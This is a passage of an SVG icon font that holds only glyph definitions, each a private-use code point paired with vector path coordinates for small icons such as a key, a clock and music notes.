	C 156.89,180.63, 156.8,182.534, 156.8,184.394C 156.8,219.248, 186.95,247.584, 224,247.584s 67.2-28.358, 67.2-63.19c0-1.859-0.090-3.741-0.269-5.578l-7.168-75.869l 116.032-9.542
	l 7.19,75.936C 407.434,174.358, 407.68,179.398, 407.68,184.394C 407.68,279.638, 325.27,357.12, 224,357.12S 40.32,279.638, 40.32,184.394
	C 40.32,179.398, 40.566,174.358, 41.014,169.341z"  />
<glyph unicode="&#xe3d9;" d="M 253.814,352.64L 253.814,352.64c-109.939,0-179.155-37.878-174.518-68.32C 80.64,275.629, 84.336,251.952, 89.018,222.16
	c-53.872-20.922-71.725-54.813-69.328-82.477c 2.822-32.726, 32.278-67.76, 96.947-73.83c 36.915-3.427, 81.334,16.8, 110.141,51.408
	c-2.755,4.659-4.323,10.035-4.323,15.837c0,17.315, 14.022,31.36, 31.338,31.36s 31.36-14.045, 31.36-31.36c0-17.069-13.664-30.934-30.643-31.315
	c-34.272-44.195-86.442-70.851-135.856-67.738c 1.142-7.28, 1.59-10.035, 2.15-13.731c 2.038-12.947, 52.573-52.864, 132.989-52.931l 0.022,0 
	c 80.416,0.067, 130.973,39.984, 132.989,52.931C 388.797,33.194, 423.584,253.408, 428.288,284.32C 432.947,314.739, 363.709,352.64, 253.814,352.64z M 50.938,142.416
	c-1.232,14.381, 10.192,33.533, 43.075,47.914c 4.726-30.038, 9.878-62.653, 14.403-91.28C 72.486,106.106, 52.461,124.832, 50.938,142.416z M 253.792,237.862
	C 173.376,237.907, 116.323,267.766, 116.323,278.899c-0.045,11.088, 57.053,40.992, 137.469,40.947c 80.416,0.045, 137.536-29.859, 137.491-40.947
	C 391.283,267.766, 334.23,237.907, 253.792,237.862z"  />
<glyph unicode="&#xe3da;" d="M 345.139,160c0,61.958, 28.605,96.768, 51.005,96.768c 8.154,0, 29.434,0, 29.434,0C 410.637,280.49, 398.272,294.4, 343.683,294.4L 119.504,294.4 
	C 35.862,294.4,0,217.322,0,160s 35.862-134.4, 119.504-134.4l 224.179,0 c 54.611,0, 66.954,13.91, 81.917,37.654c0,0-7.034,0-29.434,0S 345.139,98.064, 345.139,160z
	 M 284.211,119.814c-3.651-5.645-15.12-0.358-15.12-0.358l-66.237,29.926c0,0-5.914-14.986-10.483-25.536s-8.086-22.512-27.082-9.139
	c-19.018,13.373-80.192,72.8-80.192,72.8s-7.75,6.339-3.875,12.32C 84.874,205.472, 96.342,200.186, 96.342,200.186l 66.237-29.926
	c0,0, 5.914,14.963, 10.483,25.536C 177.632,206.323, 181.149,218.307, 200.144,204.934c 19.018-13.373, 80.214-72.822, 80.214-72.822S 288.064,125.795, 284.211,119.814z
	 M 422.8,206.435l-16.755,0 c-12.544,0-24.774-16.912-24.774-44.352s 12.253-44.33, 24.774-44.33l 16.755,0 c 12.522,0, 25.2,16.89, 25.2,44.33
	S 435.322,206.435, 422.8,206.435z"  />
<glyph unicode="&#xe3db;" d="M 396.256,278.138c-11.245,66.707-72.128,111.261-135.946,99.478c-63.84-11.76-117.69-63.078-106.445-129.786C 156.307,233.472, 163.005,210.982, 170.957,194.854
	l-115.92-172.995c-4.278-6.384-6.698-17.898-5.421-25.558l 7.459-44.15c 1.299-7.661, 8.355-12.813, 15.68-11.469l 33.958,6.25
	c 7.347,1.366, 16.643,7.818, 20.698,14.358l 45.853,74.144l 0.403,0.47l 31.024,5.734l 53.514,86.867c 17.606-3.114, 42.829-2.061, 57.747,0.694
	C 379.814,140.982, 407.523,211.43, 396.256,278.138z M 339.718,243.955c-17.562-26.186-35.459-7.728-60.547,10.64
	c-25.066,18.346-47.824,29.635-30.262,55.821c 17.562,26.208, 52.102,32.592, 77.19,14.224C 351.187,306.294, 357.28,270.141, 339.718,243.955z"  />
<glyph unicode="&#xe3dc;" d="M 118.115,229.126c 4.502,0, 8.848-0.672, 12.925-1.949C 146.496,244.493, 163.632,260.262, 182.179,274.24C 181.418,277.488, 180.947,280.893, 180.947,284.41
	c0,4.883, 0.806,9.542, 2.285,13.888C 162.467,313.216, 139.843,325.715, 115.83,335.392C 93.274,321.459, 73.629,303.293, 57.971,282.013
	c 11.626-20.586, 25.469-39.782, 41.171-57.277C 104.899,227.536, 111.328,229.126, 118.115,229.126z M 74.278,185.29c0,6.138, 1.277,12.006, 3.562,17.315
	C 63.795,218.061, 51.027,234.726, 39.85,252.512C 25.85,224.691, 17.92,193.264, 17.92,160c0-38.55, 10.618-74.592, 29.030-105.437
	c 6.563,37.072, 19.062,72.128, 36.288,104.25C 77.638,166.16, 74.278,175.322, 74.278,185.29z M 224.784,328.269c 11.603,0, 22.086-4.525, 29.926-11.85
	c 22.87,9.834, 46.973,17.382, 72.038,22.198C 296.486,356.045, 261.43,366.080, 224,366.080c-25.514,0-49.93-4.682-72.464-13.171
	c 17.898-8.848, 34.966-19.13, 50.982-30.778C 209.059,326.006, 216.653,328.269, 224.784,328.269z M 290.371,121.741c 2.733,5.69, 6.608,10.707, 11.402,14.694
	c-12.947,39.827-33.443,76.25-59.853,107.61c-5.264-2.24-11.043-3.472-17.136-3.472c-9.498,0-18.278,3.069-25.469,8.198
	c-15.904-12.074-30.598-25.626-43.971-40.41C 159.51,201.664, 161.952,193.779, 161.952,185.29c0-4.592-0.694-8.982-1.994-13.149
	C 198.419,146.448, 242.682,128.819, 290.371,121.741z M 347.245,62.538c 0.582-8.288, 0.918-16.666, 0.918-25.11c0-14.896-0.963-29.523-2.755-43.926
	c 34.966,25.536, 61.555,61.757, 74.995,103.914c-15.904-3.853-32.211-6.608-48.854-8.198C 367.629,77.232, 358.714,67.51, 347.245,62.538z
	 M 280.090,92.285c-50.87,8.422-98.045,27.821-139.082,55.642c-6.675-4.099-14.47-6.496-22.87-6.496c-3.091,0-6.070,0.336-8.982,0.941
	c-19.645-37.274-32.211-78.848-35.84-122.886c 19.622-21.034, 43.568-37.968, 70.47-49.347C 177.162,21.456, 223.843,63.949, 280.090,92.285z M 362.342,312.723
	c-33.018-3.181-64.557-11.469-93.923-23.923c 0.179-1.434, 0.246-2.912, 0.246-4.39c0-6.922-1.635-13.44-4.502-19.242
	c 29.344-34.451, 52.125-74.592, 66.528-118.518c 17.808-0.336, 33.062-11.245, 39.626-26.768c 19.846,2.016, 39.155,5.824, 57.77,11.29
	C 429.363,140.579, 430.080,150.189, 430.080,160C 430.080,220.57, 403.939,275.046, 362.342,312.723z M 302.154,68.854c-52.528-24.595-96.41-62.474-128.218-108.774
	C 189.952-43.93, 206.73-46.080, 224-46.080c 31.114,0, 60.547,6.922, 86.979,19.242c 4.234,20.765, 6.496,42.246, 6.496,64.266
	c0,7.93-0.381,15.814-0.963,23.632C 311.226,62.739, 306.365,65.405, 302.154,68.854z"  />
<glyph unicode="&#xe3dd;" d="M 442.467,140.266c-13.978,38.259-53.021,61.085-104.429,61.085c-1.994,0-3.942-0.067-5.869-0.157l-0.336,46.189
	c0,0, 76.362,13.194, 78.938,13.642s 3.002,2.666, 2.464,5.152c-0.515,2.486-3.741,19.802-4.211,21.885c-0.627,2.912-2.307,2.845-4.637,2.442
	s-72.822-10.349-72.822-10.349s-0.246,43.77-0.269,46.57c-0.022,2.8-1.568,3.562-4.346,3.517c-2.8-0.045-20.63-0.314-22.982-0.358
	c-2.352-0.022-3.651-1.098-3.606-3.338c 0.045-2.24, 0.739-51.654, 0.739-51.654s-68.589-11.85-70.47-12.163s-3.808-1.21-3.36-3.203
	c 0.426-1.994, 4.256-24.483, 4.659-26.253c 0.381-1.77, 1.59-2.845, 4.189-2.397s 65.52,11.312, 65.52,11.312l 0.784-45.203
	c-24.125-6.339-40.342-18.458-50.534-29.187c-17.203-18.077-27.037-42.269-27.037-66.371c0-35.571, 21.728-56.65, 52.125-60.368
	c 70.851-8.669, 114.666,68.522, 129.248,105.594c 24.595-33.712, 5.757-97.53-46.906-133.93c-0.941-0.694-2.173-2.89-0.717-4.637
	s 12.096-14.829, 13.866-16.979c 1.77-2.106, 4.614-1.277, 5.734-0.47C 434.426,29.318, 460.186,91.702, 442.467,140.266z M 276.998,68.877
	c-21.616,2.71-21.123,20.474-21.123,32.547c0,17.315, 7.325,35.392, 19.6,48.294c 7.526,7.907, 16.8,13.91, 27.53,17.898l 1.837-95.805
	C 296.262,68.877, 286.989,67.645, 276.998,68.877z M 331.386,81.242l 1.008,92.042c 1.882,0.090, 3.741,0.224, 5.645,0.224
	c 17.315,0, 33.488-3.248, 42.246-8.109C 389.043,160.538, 357.37,104.65, 331.386,81.242z M 130.883,253.005C 130.211,255.11, 128.598,256.23, 126.515,256.23
	l-43.68,0 c-2.061,0-3.696-1.12-4.346-3.226C 69.283,223.907, 0.515,6.784, 0.179,5.686c-0.381-1.187-0.246-1.702, 1.389-1.702l 38.819,0 
	c 1.68,0, 2.218,0.515, 2.531,1.613c 0.358,1.142, 22.602,74.323, 22.602,74.323l 78.31,0 c0,0, 22.243-73.203, 22.579-74.323
	c 0.358-1.098, 0.851-1.613, 2.554-1.613l 38.797,0 c 1.658,0, 1.792,0.515, 1.389,1.702C 208.858,6.784, 140.112,223.907, 130.883,253.005z M 72.285,111.482
	l 32.413,117.6l 32.39-117.6L 72.285,111.482 z"  />
<glyph unicode="&#xe3de;" d="M 182.067,74.835c-15.456-26.79-5.062-48.832, 16.374-61.197s 45.741-10.394, 61.197,16.397c 15.456,26.768, 113.053,265.798, 104.563,270.704
	C 355.734,305.645, 197.523,101.626, 182.067,74.835z M 224,245.075c 9.811,0, 19.376-0.851, 28.694-2.419c 9.811,12.275, 20.81,25.805, 31.494,38.685
	C 265.104,286.874, 244.966,289.875, 224,289.875c-125.597,0-224-105.907-224-241.114c0-8.333, 0.381-16.643, 1.098-24.752
	c 1.098-12.32, 12.096-21.392, 24.304-20.317c 12.32,1.12, 21.414,11.984, 20.317,24.304C 45.114,34.784, 44.8,41.773, 44.8,48.762
	C 44.8,158.835, 123.536,245.075, 224,245.075z M 385.706,217.098c-6.25-16.8-12.858-33.914-18.682-48.72C 389.805,135.45, 403.2,94.166, 403.2,48.762
	c0-7.101-0.314-14.246-0.941-21.168c-1.12-12.32, 7.952-23.206, 20.272-24.349c 0.694-0.067, 1.366-0.090, 2.061-0.090
	c 11.446,0, 21.213,8.758, 22.266,20.362C 447.619,31.805, 448,40.294, 448,48.762C 448,114.864, 424.435,173.955, 385.706,217.098z"  />
<glyph unicode="&#xe3df;" d="M 349.44,281.453c0,47.936,0,52.618,0,52.618C 349.44,351.766, 293.283,384, 224,384S 98.56,351.766, 98.56,334.070c0,0,0-4.682,0-52.618
		c0-47.936, 86.845-87.517, 86.845-121.453c0-33.958-86.845-73.517-86.845-121.475c0-47.936,0-52.618,0-52.618C 98.56-31.766, 154.717-64, 224-64
		s 125.44,32.234, 125.44,49.93c0,0,0,4.682,0,52.618c0,47.958-86.822,87.517-86.822,121.475C 262.618,193.936, 349.44,233.539, 349.44,281.453z M 133.056,331.83
		c 15.59,9.834, 44.822,24.259, 92.154,24.259c 47.354,0, 89.734-24.259, 89.734-24.259c 3.181-1.926, 15.635-8.602, 7.101-13.642
		c-18.794-11.133-55.53-22.848-98.067-22.848S 145.958,308.266, 127.165,319.398C 118.63,324.461, 133.056,331.83, 133.056,331.83z M 235.222,160
		c0-26.723, 22.31-43.926, 45.965-66.886c 17.27-16.778, 40.88-39.738, 40.88-54.589l0-29.747 c-21.706,10.819-86.71,21.414-86.71,56.090
		c0,17.562-22.714,17.562-22.714,0c0-34.675-65.005-45.27-86.71-56.090l0,29.747 c0,14.829, 23.632,37.811, 40.902,54.589
		C 190.467,116.074, 212.778,133.277, 212.778,160c0,26.723-22.31,43.926-45.942,66.886C 149.565,243.664, 125.933,266.646, 125.933,281.453l-1.053,22.4
		C 147.862,291.488, 184.307,279.683, 224,279.683s 76.317,11.805, 99.299,24.17l-1.232-22.4c0-14.806-23.632-37.789-40.88-54.566
		C 257.533,203.926, 235.222,186.723, 235.222,160z"  />
<glyph unicode="&#xe3e0;" d="M 59.226,241.603c 39.133,33.6, 70.067,60.189, 153.933,12.768c 40.298-22.781, 72.8-31.338, 99.859-31.338c 47.376,0, 78.064,26.365, 104.608,49.146
	c 9.475,8.131, 10.707,22.579, 2.733,32.234s-22.086,10.909-31.562,2.778c-39.133-33.622-70.045-60.189-153.955-12.768
	C 124.006,357.030, 72.083,312.432, 30.374,276.592C 20.922,268.461, 19.69,254.035, 27.642,244.381S 49.75,233.45, 59.226,241.603z M 388.774,192.794
	c-39.133-33.6-70.045-60.189-153.955-12.768C 124.006,242.634, 72.083,198.035, 30.374,162.218c-9.475-8.131-10.707-22.579-2.733-32.234
	s 22.086-10.909, 31.562-2.778c 39.133,33.622, 70.067,60.189, 153.933,12.79c 40.298-22.781, 72.8-31.36, 99.859-31.36c 47.376,0, 78.064,26.365, 104.608,49.168
	c 9.475,8.131, 10.707,22.557, 2.733,32.211C 412.384,199.693, 398.25,200.925, 388.774,192.794z M 388.774,78.397c-39.133-33.6-70.045-60.189-153.955-12.768
	c-110.813,62.608-162.758,18.032-204.445-17.808c-9.475-8.131-10.707-22.579-2.733-32.234s 22.086-10.909, 31.562-2.778
	C 98.358,46.432, 129.27,72.976, 213.158,25.6c 40.298-22.781, 72.8-31.36, 99.859-31.36c 47.376,0, 78.064,26.365, 104.608,49.168
	c 9.475,8.109, 10.707,22.557, 2.733,32.211S 398.25,86.55, 388.774,78.397z"  />
<glyph unicode="&#xe3e1;" d="M 203.84,137.555L 244.16,137.555 l0-44.8 L 448,92.755 c0,0-3.315,99.859-4.48,131.13c-1.098,29.702-11.715,48.070-44.8,48.070l-71.859,0 
	c-11.133,20.989-23.117,43.568-26.79,50.512c-7.414,13.978-9.946,16.688-26.432,16.688L 174.362,339.155 c-16.486,0-19.018-2.71-26.432-16.688
	C 144.256,315.523, 132.272,292.944, 121.139,271.955L 49.28,271.955 c-33.085,0-43.568-18.368-44.8-48.070S0,92.755,0,92.755l 203.84,0 L 203.84,137.555 z M 171.36,296.259
	c 5.13,9.677, 6.899,11.558, 18.278,11.558l 68.701,0 c 11.424,0, 13.171-1.882, 18.278-11.558c 1.926-3.629, 7.123-13.44, 12.902-24.282L 158.48,271.978 
	C 164.237,282.797, 169.434,292.608, 171.36,296.259z M 244.16,25.555L 203.84,25.555 l0,44.8 L 11.2,70.355 c0,0, 2.8-40.275, 4.48-74.413c 0.694-14.179, 4.861-37.587, 40.298-37.587
	l 336.045,0 c 35.437,0, 39.514,23.43, 40.298,37.587c 1.949,35.101, 4.48,74.413, 4.48,74.413l-192.64,0 L 244.16,25.555 z"  />
<glyph unicode="&#xe3e2;" d="M 224,366.080c-113.814,0-206.080-92.266-206.080-206.080s 92.266-206.080, 206.080-206.080s 206.080,92.266, 206.080,206.080S 337.814,366.080, 224,366.080z M 224,92.8c-37.117,0-67.2,30.106-67.2,67.2
	c0,37.117, 30.083,67.2, 67.2,67.2c 37.094,0, 67.2-30.106, 67.2-67.2C 291.2,122.906, 261.094,92.8, 224,92.8z"  />
<glyph unicode="&#xe3e3;" d="M 228.547,371.434c-0.582,4.794-8.512,4.794-9.094,0C 199.674,212.214, 98.56,179.398, 98.56,68.742c0-68.342, 57.411-123.76, 125.44-123.76
	c 68.029,0, 125.44,55.44, 125.44,123.76C 349.44,179.398, 248.326,212.214, 228.547,371.434z M 209.462,195.437c-1.344-4.906-2.755-9.968-4.211-15.165
	c-8.982-31.898-19.174-68.074-19.174-109.894c0-22.669-13.395-30.71-25.917-30.71c-14.291,0-25.894,11.67-25.894,26.118
	c0,49.437, 23.811,81.715, 44.822,110.208c 6.586,8.915, 12.79,17.338, 17.853,25.76c 2.307,3.83, 8.534,3.674, 11.357-0.134
	C 209.574,199.782, 210.022,197.542, 209.462,195.437z"  />
<glyph unicode="&#xe3e4;" d="M 340.771,212.886c-6.16,0-12.23-0.538-18.122-1.523c-14.694,48.048-60.211,83.059-114.15,83.059c-65.811,0-119.146-52.147-119.146-116.48
	c0-5.734, 0.448-11.379, 1.277-16.912C 87.472,161.389, 84.291,161.635, 81.021,161.635C 36.288,161.635,0,126.154,0,82.429c0-43.747, 36.288-79.206, 81.021-79.206
	l 259.75,0 c 59.248,0, 107.229,46.95, 107.229,104.832C 448,165.936, 399.997,212.886, 340.771,212.886z M 254.733,116.32c-11.088-15.77-58.576-64.714-60.592-66.774
	c-2.33-2.867-8.758-7.683-14.851-3.718c-1.747,1.142-3.853,3.427-3.853,7.93c0,4.323, 1.971,8.736, 2.218,9.229l 23.139,51.206
	c-4.346,1.725-11.805,4.749-17.606,7.28L 181.642,122.144c-5.869,2.464-13.171,5.578-13.171,13.619c0,3.83, 1.837,8.31, 5.578,13.642
	c 11.088,15.77, 58.576,64.691, 60.592,66.774c 2.33,2.867, 8.736,7.683, 14.851,3.741c 1.747-1.142, 3.853-3.427, 3.853-7.93
	c0-4.323-1.971-8.736-2.218-9.229l-23.139-51.206c 4.346-1.747, 11.805-4.771, 17.606-7.28l 1.523-0.65c 5.869-2.486, 13.171-5.6, 13.171-13.642
	C 260.31,126.109, 258.474,121.651, 254.733,116.32z"  />
<glyph unicode="&#xe3e5;" d="M 152.387-41.578c-4.323,2.845, 70.65,160.384, 68.051,167.306c-2.576,6.922-82.074,32.189-85.971,44.352
		c-3.875,12.163, 156.979,195.014, 161.19,191.475c 4.211-3.517-70.090-162.131-68.051-167.283s 83.53-31.494, 85.971-44.33
		C 316.019,137.062, 156.71-44.4, 152.387-41.578z"  />
<glyph unicode="&#xe3e6;" d="M 380.8,316.8l-20.16,0 l0-44.8 L 288.96,272 L 288.96,316.8 L 159.040,316.8 l0-44.8 L 87.36,272 L 87.36,316.8 L 67.2,316.8 C 42.56,316.8, 22.4,296.64, 22.4,272l0-268.8 c0-24.64, 20.16-44.8, 44.8-44.8l 313.6,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 425.6,272 C 425.6,296.64, 405.44,316.8, 380.8,316.8z M 380.8,3.2L 67.2,3.2 
		L 67.2,182.4 l 313.6,0 L 380.8,3.2 z M 138.88,361.6L 107.52,361.6 l0-76.16 l 31.36,0 L 138.88,361.6 z M 340.48,361.6l-31.36,0 l0-76.16 l 31.36,0 L 340.48,361.6 z"  />
<glyph unicode="&#xe3e7;" d="M 358.4,221.757l-13.44,0 c-4.95,0-8.96-4.032-8.96-8.96L 336,151.040 c0-29.949-23.587-80.64-112-80.64s-112,50.691-112,80.64L 112,212.797 c0,4.928-4.054,8.96-8.96,8.96L 89.6,221.757 
			c-4.928,0-8.96-4.032-8.96-8.96L 80.64,151.040 c0-50.109, 36.826-103.712, 120.96-111.104L 201.6-19.2 L 143.338-19.2 C 138.432-19.2, 134.4-23.232, 134.4-28.16L 134.4-55.040 C 134.4-59.968, 138.432-64, 143.338-64l 161.28,0 
			c 4.95,0, 8.96,4.032, 8.96,8.96L 313.578-28.16 c0,4.95-4.032,8.96-8.96,8.96L 246.4-19.2 l0,59.136 c 84.157,7.392, 120.96,61.018, 120.96,111.104L 367.36,212.797 
			C 367.36,217.725, 363.328,221.757, 358.4,221.757zM 224,115.2c 52.573,0, 67.2,21.594, 67.2,35.84L 291.2,221.757 L 156.8,221.757 L 156.8,151.040 C 156.8,136.794, 171.427,115.2, 224,115.2zM 291.2,348.16C 291.2,362.429, 276.573,384, 224,384S 156.8,362.429, 156.8,348.16l0-95.043 l 134.4,0 L 291.2,348.16 z"  />
<glyph unicode="&#xe3e8;" d="M 224,366.080c-113.814,0-206.080-92.288-206.080-206.080c0-113.814, 92.266-206.080, 206.080-206.080s 206.080,92.266, 206.080,206.080C 430.080,273.814, 337.814,366.080, 224,366.080z M 224-1.28
			c-89.085,0-161.28,72.218-161.28,161.28S 134.915,321.28, 224,321.28s 161.28-72.218, 161.28-161.28S 313.085-1.28, 224-1.28zM 239.68,276.48L 208.32,276.48L 208.32,153.504L 284.592,77.232L 306.768,99.408L 239.68,166.496 		z"  />
<glyph unicode="&#xe3e9;" d="M 224,285.44C 77.034,285.44,0,177.181,0,160s 77.034-125.44, 224-125.44s 224,108.259, 224,125.44S 370.966,285.44, 224,285.44z M 224,63.501
		c-54.97,0-99.546,43.21-99.546,96.499S 169.030,256.499, 224,256.499c 54.992,0, 99.568-43.21, 99.568-96.499S 278.992,63.501, 224,63.501z M 224,160
		c-9.094,9.99, 14.874,48.227,0,48.227c-27.485,0-49.773-21.594-49.773-48.227S 196.515,111.75, 224,111.75c 27.507,0, 49.795,21.616, 49.795,48.25
		C 273.795,172.23, 231.773,151.488, 224,160z"  />
<glyph unicode="&#xe3ea;" d="M 221.245,366.058c-113.792-1.523-204.826-94.998-203.302-208.813c 1.523-113.837, 95.021-204.826, 208.813-203.325
		c 113.814,1.523, 204.848,95.021, 203.302,208.813C 428.534,276.57, 335.037,367.581, 221.245,366.058z M 221.626,339.2c 30.688,0.426, 59.674-6.944, 85.12-20.182
		l-27.731-46.234C 262.394,280.87, 243.734,285.44, 224,285.44c-19.712,0-38.371-4.57-54.992-12.678L 141.299,318.973C 165.357,331.517, 192.64,338.797, 221.626,339.2z
		 M 111.238,105.008l-46.189-27.686c-12.544,24.035-19.824,51.318-20.205,80.282c-0.426,30.71, 6.944,59.696, 20.182,85.12l 46.211-27.754
		C 103.13,198.371, 98.56,179.734, 98.56,160C 98.56,140.288, 103.13,121.629, 111.238,105.008z M 226.397-19.178c-30.688-0.426-59.696,6.944-85.12,20.182l 27.731,46.234
		C 185.629,39.13, 204.288,34.56, 224,34.56c 19.734,0, 38.394,4.547, 54.992,12.656l 27.709-46.189C 282.643-11.494, 255.382-18.774, 226.397-19.178z
		 M 224,61.462c-54.432,0-98.538,44.128-98.538,98.538c0,54.432, 44.128,98.56, 98.538,98.56c 54.454,0, 98.56-44.128, 98.56-98.56
		C 322.56,105.568, 278.454,61.462, 224,61.462z M 336.762,105.008c 8.109,16.621, 12.678,35.28, 12.678,54.992c0,19.734-4.57,38.371-12.678,54.992
		l 46.189,27.731c 12.544-24.058, 19.846-51.318, 20.227-80.304c 0.403-30.71-6.966-59.696-20.205-85.12L 336.762,105.008z"  />
<glyph unicode="&#xe3eb;" d="M 119.84-61.312l 44.8,0 l 100.531,179.222L 380.8,117.91 c0,0, 67.2,0, 67.2,31.338c0,31.36-67.2,31.36-67.2,31.36l-115.629,0 l-100.531,179.2l-44.8,0 l 55.731-179.2L 95.222,180.608 L 44.8,225.43L0,225.43 l 35.862-76.16
		L0,73.088l 44.8,0 l 50.422,44.822l 80.349,0 L 119.84-61.312z"  />
<glyph unicode="&#xe3ec;" d="M 405.933,301.859c-6.63,5.734-42.694,33.040-49.437,38.842S 339.226,348.16, 331.789,348.16L 116.211,348.16 c-7.414,0-17.965-1.635-24.685-7.459
		c-6.742-5.824-42.806-33.13-49.437-38.842S 29.926,287.501, 31.696,275.181c 1.77-12.32, 43.389-290.595, 43.389-290.595
		C 77.414-22.426, 85.389-28.16, 92.826-28.16l 262.371,0 c 7.437,0, 15.411,5.757, 17.741,12.746c0,0, 41.597,278.275, 43.389,290.595
		C 418.074,287.501, 412.563,296.125, 405.933,301.859z M 224,106.957c-72.755,0-88.323,102.973-91.549,124.186L 173.6,231.142 c 6.205-30.957, 20.294-83.866, 50.4-83.866
		s 44.218,52.909, 50.422,83.866l 41.126,0 C 312.323,209.93, 296.755,106.957, 224,106.957z M 66.371,272l 49.414,51.52l 216.429,0 L 381.629,272L 66.371,272 z"  />
<glyph unicode="&#xe3ed;" d="M 358.4,361.6L 89.6,361.6 C 64.96,361.6, 44.8,341.44, 44.8,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 268.8,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 403.2,316.8 C 403.2,341.44, 383.062,361.6, 358.4,361.6z M 358.4,3.2L 89.6,3.2 L 89.6,316.8 l 268.8,0 L 358.4,3.2 z M 246.4,115.2L 134.4,115.2 l0-22.4 l 112,0 
	L 246.4,115.2 z M 313.6,204.8l-89.6,0 l0-22.4 l 89.6,0 L 313.6,204.8 z M 224,227.2l 89.6,0 L 313.6,272 l-89.6,0 L 224,227.2 z M 201.6,272L 134.4,272 l0-89.6 l 67.2,0 L 201.6,272 z M 179.2,160L 134.4,160 l0-22.4 l 44.8,0 L 179.2,160 z M 201.6,137.6l 112,0 l0,22.4 L 201.6,160 L 201.6,137.6 z M 313.6,70.4L 134.4,70.4 l0-22.4 l 179.2,0 L 313.6,70.4 z M 268.8,92.8l 44.8,0 l0,22.4 l-44.8,0 L 268.8,92.8 z"  />
<glyph unicode="&#xe3ee;" d="M 372.915,268.797L 171.36,372.71C 143.741,387.248, 89.309,359.158, 73.674,334.429C 66.707,323.363, 67.2,315.389, 67.2,310.864l 2.486-234.64
	c 0.157-4.995, 6.451-11.693, 11.805-15.008c 11.178-6.854, 180.544-112.56, 185.315-115.562c 2.576-1.613, 5.645-2.352, 8.646-2.352
	c 2.554,0, 5.13,0.56, 7.459,1.725C 288.019-52.464, 291.2-47.626, 291.2-42.317L 291.2,204.106 c0,5.13-3.002,9.856-7.885,12.432L 100.128,318.816
	C 102.189,322.848, 110.342,331.36, 125.328,339.2C 141.12,347.488, 152.925,344.352, 155.635,343.299c0,0, 175.84-94.102, 181.216-96.902c 5.354-2.8, 5.466-3.226, 5.466-7.997
	c0-4.794,0-233.856,0-233.856c0-11.67, 11.827-16.442, 20.541-16.442c 8.669,0, 17.942,8.512, 17.942,16.442L 380.8,256.365 
	C 380.8,261.494, 377.776,266.243, 372.915,268.797z"  />
<glyph unicode="&#xe3ef;" d="M 73.965,109.869c 10.394-42.134, 23.61-60.502, 67.693-79.789C 185.763,10.816, 206.707-10.24, 224-10.24s 36.893,18.413, 80.998,37.722
	c 44.106,19.242, 32.346,25.155, 42.739,67.245L 224,34.56L 73.965,109.869z M 437.046,219.674l-186.48,104.429c-14.605,8.176-38.506,8.176-53.11,0
	L 10.954,219.674c-14.605-8.176-14.605-21.571,0-29.747l 186.48-104.429c 14.605-8.176, 38.506-8.176, 53.11,0l 120.557,67.514l-130.726,30.621
	C 235.357,182.378, 229.824,181.683, 224,181.683c-23.542,0-42.627,11.357-42.627,25.357S 200.458,232.419, 224,232.419c 18.278,0, 33.846-6.877, 39.894-16.486
	l 138.454-45.427l 34.698,19.421C 451.651,198.102, 451.651,211.498, 437.046,219.674z M 380.061,21.747c-1.411-8.579, 28.739-22.758, 31.606,2.442
	c 12.97,113.59-9.318,146.294-9.318,146.294l-31.248-17.494C 371.101,153.011, 397.6,127.789, 380.061,21.747z"  />
<glyph unicode="&#xe3f0;" d="M 418.656,107.45l-38.685,34.496c-11.2,9.99-11.2,26.298,0,36.288l 38.685,34.474c 11.2,9.99, 8.198,19.286-6.653,20.698l-51.274,4.861
	c-14.851,1.411-22.848,14.179-17.741,28.381l 27.216,75.757c 5.107,14.202-1.142,19.376-13.866,11.491l-60.502-37.408
	c-12.723-7.885-29.165-3.584-36.534,9.565l-21.93,39.11c-7.347,13.149-19.533,13.216-27.037,0.157L 189.974,329.882
	C 182.47,316.822, 165.222,311.245, 151.648,317.494l-35.84,16.464C 102.211,340.186, 91.773,332.973, 92.579,317.875L 94.528,281.699
	c 0.806-15.075-10.326-30.621-24.73-34.496L 35.19,237.907C 20.787,234.010, 18.144,222.675, 29.344,212.685l 38.685-34.474c 11.2-9.968, 11.2-26.298,0-36.266
	L 29.344,107.494c-11.2-10.013-8.243-19.645, 6.563-21.437l 46.928-5.69c 14.806-1.837, 23.072-15.053, 18.346-29.366l-24.080-72.979
	c-4.726-14.358, 2.016-19.958, 14.963-12.432l 55.171,31.898c 12.97,7.526, 30.374,3.36, 38.707-9.139l 22.915-34.429
	c 8.31-12.566, 20.832-11.85, 27.754,1.523l 20.138,38.797c 6.966,13.395, 23.587,18.861, 36.938,12.163l 38.842-19.421
	c 13.395-6.698, 23.677,0.179, 22.87,15.277l-1.949,36.176c-0.806,15.098, 10.326,30.621, 24.73,34.518l 34.586,9.274
	C 427.213,86.147, 429.856,97.482, 418.656,107.45z M 246.4,66.032L 201.6,66.032 l0,47.040 l 44.8,0 L 246.4,66.032 z M 246.4,137.69L 201.6,137.69 l0,116.48 l 44.8,0 L 246.4,137.69 z"  />
<glyph unicode="&#xe3f1;" d="M 136.864,322.87l0-265.821c-14.47,3.024-31.315,1.882-48.026-4.301c-37.565-13.955-50.826-47.936-40.858-75.846
	c 9.946-27.933, 39.357-39.222, 76.922-25.267c 31.898,11.85, 52.797,38.102, 52.259,62.877c0,0,0,140.963,0,219.587l 159.062,36.445l0-168.672 
	c-14.47,3.024-31.315,1.882-48.026-4.301c-37.587-13.955-50.848-47.936-40.88-75.846c 9.968-27.933, 39.357-39.222, 76.944-25.267
	c 31.92,11.85, 52.774,38.102, 52.282,62.877L 376.544,374.368 L 136.864,322.87z"  />
<glyph unicode="&#xe3f2;" d="M 264.298,357.142l-35.93,0 l0-292.813 c-19.869,7.661-45.584,7.773-70.941-1.456c-45.427-16.531-72.509-56.762-60.48-89.824
		c 12.051-33.085, 58.643-46.48, 104.070-29.949c 38.595,14.045, 63.84,45.181, 63.213,74.48l 0.067,239.456c 62.653-9.856, 66.931-89.085, 59.427-111.306
		c-2.867-8.422, 2.173-14.717, 11.648,0C 402.909,250.854, 264.298,297.2, 264.298,357.142z"  />
<glyph unicode="&#xe3f3;" d="M 119.168,292.070C 33.555,242.387, 38.483,161.478, 41.44,131.552c 110.589,130.973, 275.99,124.611, 275.99,124.611S 82.947,175.77, 14.067,14.49
		c-5.421-12.768, 25.536-29.322, 32.592-14.269c 21.078,44.845, 50.467,78.49, 50.467,78.49c 43.366-16.15, 118.339-35.034, 171.517,2.352
		c 70.582,49.706, 63.37,159.846, 164.17,213.472C 456.355,307.078, 235.245,359.427, 119.168,292.070z"  />
